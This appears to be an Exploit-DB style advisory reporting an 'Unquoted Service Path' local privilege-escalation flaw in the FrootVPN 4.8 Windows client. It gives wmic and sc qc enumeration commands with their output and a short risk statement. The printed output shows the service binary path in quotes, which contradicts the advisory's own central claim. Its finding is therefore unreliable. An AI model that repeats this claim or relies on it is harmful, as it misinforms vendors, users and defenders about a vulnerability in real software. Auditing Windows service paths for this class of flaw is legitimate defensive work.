Share
## https://sploitus.com/exploit?id=EDB-ID:48657
# Exploit	: FrootVPN 4.8 - 'frootvpn' Unquoted Service Path
# Date		: 2020-07-09
# Author	: v3n0m
# Vendor	: https://frootvpn.com/
# App Link	: https://frootvpn.com/en/download-client?platform=win
# Version	: 4.8
# Tested on	: Windows 10 Pro build 19041.329
# Credits	: YOGYACARDERLINK, bejo6, Ika Atikasari

# PoC:

Microsoft Windows [Version 10.0.19041.329]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\HP>wmic service get name,pathname,startmode,StartName | findstr "FrootVPN"
FrootVPN "C:\Program Files\FrootVPN\vpn.service.exe" Manual     LocalSystem           

C:\Users\HP>sc qc frootvpn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: frootvpn
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\FrootVPN\vpn.service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FrootVPN
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\HP>


# Security Risk

A successful attempt would require the local user to be able to insert their code 
in the system root path undetected by the OS or other security applications 
where it could potentially be executed during application startup or reboot. 
If successful, the local user's code would execute with the elevated privileges of the application.